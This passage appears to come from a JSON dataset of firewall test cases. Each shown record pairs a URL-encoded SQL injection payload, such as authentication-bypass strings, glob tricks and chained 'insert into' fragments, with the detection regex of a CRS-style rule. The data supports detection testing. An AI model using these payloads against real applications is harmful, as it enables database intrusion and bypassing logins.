"(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass Mysql 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%27or%28id%20glob%201%29--" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass sqlite glob 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%27or%28glob%201%29--" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass sqlite glob 3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ",varname%22=somedata" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i),.*?[\\\"'\\)0-9`-f][\\\"'`](?:[\\\"'`].*?[\\\"'`]|(?:\\r?\\n)?\\z|[^\\\"'`]+)|[^0-9A-Z_a-z]select.+[^0-9A-Z_a-z]*?from|(?:alter|(?:(?:cre|trunc|upd)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]*?\\([\\s\\x0b]*?space[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942200", "test_description": "comment-/space-obfuscated injections and backtick termination" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var%3d%20@.%3d%20%28%20SELECT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+2771%3D1709%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%3B+insert+into" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+7639%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Dor+120%3D121%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+deleted+%3D+0%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2FCm7+OR+" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DOR+%287319%3D8742%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C%28null%21%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Dand+1%21%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Ddiv+role%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Ddiv+id%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Ddiv+style%3D%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Dor+1%3D%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+7829%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { 